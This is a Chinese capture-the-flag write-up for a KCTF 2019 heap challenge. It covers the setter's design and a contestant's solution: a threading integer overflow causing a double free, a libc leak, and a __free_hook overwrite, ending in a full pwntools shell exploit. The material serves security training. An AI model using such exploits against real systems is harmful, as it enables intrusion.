看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路
比賽刺激瞬間似乎猶在眼前,驀然回望,才發現我們一起相伴走過了如此漫長的一段精彩旅途。不知不覺,我們看雪紐盾KCTF第二賽段的賽題解析也已經接近尾聲。
庸人無一用,圖有空憑欄。英雄志氣滿,絕地也逃生。今天我們一起來看下第九題,看看勇士們如何衝破枷鎖,絕地逃生~
題目簡介
題目背景:
外星人的攻擊速度遠遠超過想象。他們的魔爪已經伸向了南極。
一片白色的荒原,沒有綠色的草地,沒有怒放的花朵,只有白皚皚的雪山和隨時可能裂開的冰面。沒有什麼比一個人站在這裡更令人絕望了。
能量寶石位於南極的最高峰——文森峰。這裡山勢險峻,且大部分終年被冰雪覆蓋,交通困難,被稱為“死亡地帶”。
前有惡劣的環境,後有外星人的攻擊。怎麼樣能夠絕地逃生呢?就看你的了!
本題共有1683人圍觀,截至比賽結束只有12人攻破此題。縱觀全域性,這道題還是很有難度的。
攻破此題的戰隊一覽:
接下來我們來對題目進行詳細解析。
看雪評委crownless點評
這道題目關鍵點在於多執行緒所導致的uint8_t型別的整型溢位,進而導致double free。然後構造UAF洩漏Libc地址,再poison tcache寫__free_hook可getshell。
出題團隊簡介
本題出題戰隊 2019 :
計算機系學生,剛剛畢業,即將前往盤古實驗室做安全研究。Pwn愛好者,對學術界的前沿安全相關研究很感興趣,雖然目前還是蔡雞一隻。
設計思路
0x00 概要
題目實現了一個多執行緒free的功能,這道題目關鍵點在於多執行緒所導致的uint8_t型別的整型溢位,進而導致double free。然後構造UAF洩漏Libc地址,再poison tcache寫__free_hook可getshell。
0x01 漏洞點
這題比上次那題還要簡單,靈感來源於上architecture課教授slides裡面的一個pseudocode,大概長這樣:
if(myThreadId() ==0)
i =0;
barrier();
// on each thread
while(true)
{
local_i = FetchAndAdd(&i);
if(local_i >= N)break;//integer overflow
C[local_i] =0.5*(A[local_i] + B[local_i]);
}
barrier();
然後我就在想這個如果FetchAndAdd函式能導致整型溢位的話,是否可以導致可利用的漏洞,於是就有了我這道題。
然後漏洞點在這裡,程式碼跟上面的虛擬碼很像,只不過一些無關的東西刪掉了。
void*free_thread(void* varg)
{
thread_arg* arg = (thread_arg*)varg;
uint8_t* i = &arg->iter;
volatilesize_tidx;
while(true)
{
idx = __sync_fetch_and_add(i,1);
if(idx >= arg->bound)//整型溢位
break;
if(data[idx])
free(data[idx]);
else
exit(-1);
}
returnNULL;
}
當bound的值很大的時候,比方說,刪除範圍254-255的時候,如果有兩個執行緒,執行緒1free了data[254],執行緒2255 >= 255所以退出,而執行緒1這個時候__sync_fetch_and_add溢位到0,這個時候會把0到254的所有elements又free了一次,等於導致了double free。
0x02 利用
這裡我稍微增加了一下難度,就是如果有空指標就會退出,所以得先把那些項都佔滿。
然後注意,線上程中freechunk時會加到那個執行緒自己的tcache,然後執行緒退出時這些chunks會被放回fastbin或者unsortedbin而不是主執行緒的tcache。所以把index 0設定為unsortedbin大小可以直接leak libc的地址。
然後因為所有indeces都被佔滿了,這樣就沒有能用的index可以做poison了,所以得先把他們clear掉,但是在那之前得把最頂上的chunk(這時是index 1)先拿出來(所以data[254]==data[1]),方便到時候做poison利用。
然後用fastbin dup把0x70的fastbin汙染了,創造出這種情況a -> b -> a,但這個時候tcache也是滿的,這個時候malloc 4個tcache可以創造出這種情況a -> b -> &__free_hook,然後就可以寫free hook執行system了。
不過有一點要注意,因為多執行緒,難免會有條件競爭,所以成功率並不是100%,不過也不低就是了。
環境:
libc2.27,md5=50390b2ae8aaa73c47745040f54e602f
解題思路
本題解題思路由看雪論壇X3h1n提供:
題目描述
這道題目也是傳統的選單題目,有三個功能,add、fast free和show功能。libc是2.27,有tcache。
$ ./fastheap
1.malloc
2.fastfree
3.puts
4.exit
>>>
其中malloc功能雖然對堆塊的數量沒有明確的限制,但是因為堆塊的索引是unsigned __int8型別,因此堆塊的所以範圍為0-255,因此最多可以申請256個堆塊。
size的型別同樣也是unsigned __int8型別,因此輸入的size最大為0xff,堆塊大小最大為0x110。在bss段有一個全域性的heap_list儲存堆塊的地址。接受使用者輸入的read函式很嚴格,沒有常見的off-by-one的漏洞。
signed__int64add()
{
__int64 idx;// rbx
size_tsize;// rbp
signed__int64 result;// rax
unsigned__int64 v3;// rt1
unsigned__int64 v4;// [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
_printf_chk(1LL,"Index: ");
idx = (unsigned__int8)my_atoi();
if( heap_list[idx] )
exit(-1);
_printf_chk(1LL,"Size: ");
size = (unsigned__int8)my_atoi();
heap_list[idx] = check(size);
_printf_chk(1LL,"Contents: ");
if( !size )
return__readfsqword(0x28u) ^ v4;
v3 = __readfsqword(0x28u);
result = v3 ^ v4;
if( v3 == v4 )
result = my_read(heap_list[idx], size);
returnresult;
}
fast free要求輸入一個索引範圍,然後建立執行緒來進行堆塊的釋放,使用者可以控制執行緒的數量,最多為8個,釋放後清空bss段對應的堆指標,如果執行緒為0就不會釋放直接清空heap_list。
在start_routine中有這麼一段程式碼來保證只有一個執行緒對指定堆塊進行釋放。start_routine傳入的引數是a1是end_index,a1+8正好是start_index的位置。
在彙編中lock xadd是交換兩個運算元的值,然後相加,結果就是start_index++, v2是start_index的初始值,只有當原始的start_index < end_index時,才進行堆塊的釋放。
因為每次start_index++是一個原子操作,從而保證只有一個執行緒對堆塊進行釋放。
void*__fastcallstart_routine(void*a1)
{
unsigned__int64 v2;// [rsp+0h] [rbp-28h]
while(1)
{
v2 = (unsigned__int8)_InterlockedExchangeAdd8((volatilesigned__int8 *)a1 +8,1u);
if( *(_QWORD *)a1 <= v2 )
break;
if( !heap_list[v2] )
exit(-1);
free((void*)heap_list[v2]);
}
return0LL;
}
彙編程式碼如下:
.text:0000000000000C6Floc_C6F: ;CODEXREF:start_routine+1D↑j
.text:0000000000000C6Fmoveax,1
.text:0000000000000C74lockxadd[rbx],al//交換運算元,相加,start_index++
.text:0000000000000C78movzxeax,al
.text:0000000000000C7Bmov[rsp+28h+var_28],rax
.text:0000000000000C7Fmovrax,[rsp+28h+var_28]
.text:0000000000000C83cmp[rbp+0],rax//比較end_index和未加1的start_index
.text:0000000000000C87jashortloc_C50//當start_index < end_index時才進行free
.text:0000000000000C89xoreax,eax
.text:0000000000000C8Bmovrcx,[rsp+28h+var_20]
.text:0000000000000C90xorrcx,fs:28h
.text:0000000000000C99jnzshortloc_CAC
.text:0000000000000C9Baddrsp,18h
.text:0000000000000C9Fpoprbx
.text:0000000000000CA0poprbp
.text:0000000000000CA1retn
這樣保證只有一個執行緒會釋放指定的堆塊。不會導致雙重釋放(開始是這樣認為的,但是後來的確出現了double free...)show函式會判斷對應的heap_list是否非空,不能UAF。
執行緒堆
這裡涉及到了執行緒堆的知識,第一次遇到這種題目,這次還是主程式分配,執行緒釋放堆塊。ptmalloc使用mmap()函式為執行緒建立自己的非主分配區來模擬堆(sub_heap),當該sub_heap用完之後,會再使用mmap()分配一塊新的記憶體塊作為sub_heap。
當程式中有多個執行緒時,一定也有多個分配區,但是每個分配區都有可能被多個執行緒使用。具體關於執行緒堆的知識可以看參考裡的部落格。
另外這道題目有一個至今沒有明白的點,當執行緒釋放完指定堆塊還沒有退出時,堆塊是進入了程式的tcache,但是當執行緒退出後,這個堆塊就進入了主程式的對應的fastbin。
比如,申請一個0x70和0x30的堆塊,釋放idx0,釋放之前堆塊的狀態:
gdb-peda$ parseheap
addr prev size status fd bk
0x55c118339000 0x0 0x250 UsedNoneNone
0x55c118339250 0x0 0x70 UsedNoneNone
0x55c1183392c0 0x0 0x30 UsedNoneNone
釋放idx0,workers=1,在free下斷點,finish完成後堆塊進執行緒的tcache。
執行緒退出後,該堆塊在fastbin中:
對執行緒堆的知識瞭解太少了,不知道是什麼原因,猜測是因為執行緒的非主分配區複用導致的。希望可以看其他大佬的wp學習一波。
利用過程
由於有tcache,只要能構造出double free,由於tcache在分配時沒有對tcache鏈中的chunk進行size的檢查,所以就可以fd指向malloc_hook或free_hook。
但這道題目對heap_list進行了清空,不能double free。但是感覺執行緒這裡肯定有問題,在和隊友的多次嘗試後發現建立多個堆塊,然後都釋放掉,竟然出現了double free:
fori inrange(250):
add(i,0x60,'aaaa\n')
delete(0,250,8)
出現了double free應該就能利用了吧,但是還缺少libc。本來想著先在申請這250個堆塊之前先申請兩個堆塊(大小分別為0x70和0xa0)試一下,想辦法洩露libc,但是發現沒有對這兩個塊進行釋放,free完那250個堆塊後,0x70的堆塊idx0進入了fastbin,0xb0的堆塊idx1進入了unsortedbin了。這...利用條件都具備了,直接show(1)就可以洩露libc。
add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')
fori inrange(250):
add(i+2,0x60,'aaaa\n')
delete(2,252,7)
但是當試圖再次申請tcache裡的這250個堆塊時,發現只要申請到第248個堆塊時,bins的分佈如下:
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x5555557576f0 --> 0x555555757680 --> 0x555555757610 --> 0x555555757370 --> 0x7ffff7bb0c0d (size error (0x78)) --> 0xfff785c410000000 (invaild memory)
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0
再試圖分配第249個塊時,就直接越過了fastbin裡的前5個chunk,去分配0xfff785c410000000這個堆塊,前5個堆塊進入了tcache:
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0xfff785c410000000 (invaild memory)
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x70) tcache_entry[5](4): 0x7ffff7bb0c1d --> 0x555555757380 --> 0x555555757620 --> 0x555555757690
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0
沒法利用這250個堆塊的double free,但是可以利用前2個堆塊未釋放就進入unsorted bin的狀態進行double free。
首先申請兩個堆塊和250個堆塊,釋放250個,起7個執行緒,idx0進入fastbin中,idx1進入unsortedbin中。show(1)洩露libc。
add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')
fori inrange(250):
add(i+2,0x60,'aaaa\n')
delete(2,252,7)
#gdb.attach(p)
show(1)
leak_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] -0x70
print"libc_base:",hex(libc_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base +0x4f322
system_addr = libc_base + libc.symbols["system"]
此時bins的分佈如下:
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x555555757250 --> 0x555555757370 --> ...-> 0x555555757370 (overlap chunk with 0x555555757370(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0
當再次分配0x60的堆塊時,會先從unsorted bin中取出堆塊,再從fastbin中分配,idx0和idx2的地址相同,可以進行double free。
add(2,0x60,'aaaa\n')
add(3,0x60,'aaaa\n')
檢視heap_list如下:
gdb-peda$x /8gx 0x0000555555554000+0x202060
0x555555756060: 0x0000555555757260 0x00005555557572d0
0x555555756070: 0x0000555555757260 0x000055555575e070
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
後面就是double free,但是在double free時,tcache 0x70中又出現了6個堆塊,就很神奇,要先把tcache清空之後才能分配fastbin裡的堆塊。
delete(0,1,1)
delete(3,4,1)
delete(2,3,1)
tcache 0x70中有6個堆塊:
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x555555757250 --> 0x55555575e060 --> 0x555555757250 (overlap chunk with 0x555555757250(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x70) tcache_entry[5](6): 0x5555557575b0 --> 0x555555757540 --> 0x5555557574d0 --> 0x555555757460 --> 0x5555557573f0 --> 0x555555757380
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0
最後修改free_hook為system,釋放一個寫有"/bin/sh\x00"的塊,這裡再修改地址完成之後,是手動輸入進行堆塊idx11的刪除觸發system("/bin/sh")的,最後get shell。
因為在tcache清空之後,fastbin的堆塊進入了tcache中,因此free_hook才能避過fastbin中size的檢查,分配並修改成功。
完整exp如下:
from pwn import *
context.log_level ="debug"
context.terminal = ["tmux","split","-h"]
DEBUG =0
ifDEBUG:
p= process("./fastheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p= remote("152.136.18.34",10000)
libc = ELF("./libc-2.27.so")
defadd(idx,size,content):
p.recvuntil(">>> ")
p.sendline('1')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Contents: ")
p.send(content)
defdelete(start,end,worker):
p.recvuntil(">>> ")
p.sendline('2')
p.recvuntil("Index range: ")
p.sendline(str(start)+'-'+str(end))
p.recvuntil("Number of workers: ")
p.sendline(str(worker))
def show(idx):
p.recvuntil(">>> ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))
add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')
fori inrange(250):
add(i+2,0x60,'aaaa\n')
delete(2,252,7)
#gdb.attach(p)
show(1)
leak_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] -0x70
print"libc_base:",hex(libc_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base +0x4f322
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
add(2,0x60,'aaaa\n')
add(3,0x60,'aaaa\n')
##double free
delete(0,1,1)
delete(3,4,1)
delete(2,3,1)
##empty tcache
fori inrange(6):
add(i+2,0x60,p64(malloc_hook-0x23)+'\n')
##free_hook->system
add(9,0x60,p64(free_hook)+'\n')
add(10,0x60,p64(free_hook)+'\n')
add(11,0x60,"/bin/sh\x00"+'\n')
add(12,0x60,p64(system_addr))
##manual trigger
delete(11,12,1)
p.interactive()
目前對執行緒的知識瞭解有限,還在惡補當中,這篇wp只是記錄了做題的過程,感覺這道題有太多神奇的地方,做出這道題也是憑運氣好,希望大佬們指點。
▲
END
主辦方
看雪學院(www.kanxue.com)是一個專注於PC、移動、智慧裝置安全研究及逆向工程的開發者社群!建立於2000年,歷經19年的發展,受到業內的廣泛認同,在行業中樹立了令人尊敬的專業形象。平臺為會員提供安全知識的線上課程教學,同時為企業提供智慧裝置安全相關產品和服務。
合作伙伴
上海紐盾科技股份有限公司(www.newdon.net)成立於2009年,是一家以“網路安全”為主軸,以“科技源自生活,紐盾服務社會”為核心經營理念,以網路安全產品的研發、生產、銷售、售後服務與相關安全服務為一體的專業安全公司,致力於為數字化時代背景下的使用者提供安全產品、安全服務以及等級保護等安全解決方案。
10大議題正式公佈!第三屆看雪安全開發者峰會重磅來襲!
小手一戳,瞭解更多
詳情連結: https://www.bagevent.com/event/2195041?code=001XDhzT03M9N02MFsBT01Z2zT0XDhzb&state=STATE
相關文章
- 看雪.紐盾 KCTF 2019 Q3 | 第九題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q2 | 第七題點評及解題思路2019-07-02
- 看雪.紐盾 KCTF 2019 Q2 | 第六題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第十題點評及解題思路2019-07-05
- 看雪.紐盾 KCTF 2019 Q2 | 第八題點評及解題思路2019-07-03
- 看雪.紐盾 KCTF 2019 Q2 | 第一題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第三題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第五題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q3 | 第四題點評及解題思路2019-09-29
- 看雪.紐盾 KCTF 2019 Q3 | 第七題點評及解題思路2019-09-30
- 看雪.紐盾 KCTF 2019 Q3 | 第一題點評及解題思路2019-09-25
- 看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第八題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十一題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十二題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十三題點評及解題思路2019-10-08
- 2019KCTF 晉級賽Q1 | 第九題點評及解題思路2019-04-04
- 看雪·眾安 2021 KCTF 秋季賽 | 第九題設計思路及解析2021-12-09
- 看雪·深信服 2021 KCTF 春季賽 | 第九題設計思路及解析2021-05-28
- 2020 KCTF秋季賽 | 第一題點評及解題思路2020-11-20
- 2020 KCTF秋季賽 | 第四題點評及解題思路2020-11-24
- 2019 KCTF 晉級賽Q1 | 第三題點評及解題思路2019-03-28
- 2019KCTF 晉級賽Q1 | 第十題點評及解題思路2019-04-08
- 【英雄榜單】看雪.紐盾 KCTF 晉級賽Q2 排行榜出爐!2019-07-01
- 看雪·眾安 2021 KCTF 秋季賽 | 第十題設計思路及解析2021-12-16
- 看雪·眾安 2021 KCTF 秋季賽 | 第七題設計思路及解析2021-12-03
- 看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析2021-12-01
- 看雪·眾安 2021 KCTF 秋季賽 | 第五題設計思路及解析2021-11-29
- 看雪·眾安 2021 KCTF 秋季賽 | 第四題設計思路及解析2021-11-25
- 看雪·眾安 2021 KCTF 秋季賽 | 第三題設計思路及解析2021-11-22
- 看雪·深信服 2021 KCTF 春季賽 | 第十題設計思路及解析2021-05-31
- 看雪·深信服 2021 KCTF 春季賽 | 第七題設計思路及解析2021-05-25
- 看雪·深信服 2021 KCTF 春季賽 | 第八題設計思路及解析2021-05-25
- 看雪·深信服 2021 KCTF 春季賽 | 第六題設計思路及解析2021-05-21
- 看雪·深信服 2021 KCTF 春季賽 | 第三題設計思路及解析2021-05-14
- 看雪·深信服 2021 KCTF 春季賽 | 第四題設計思路及解析2021-05-17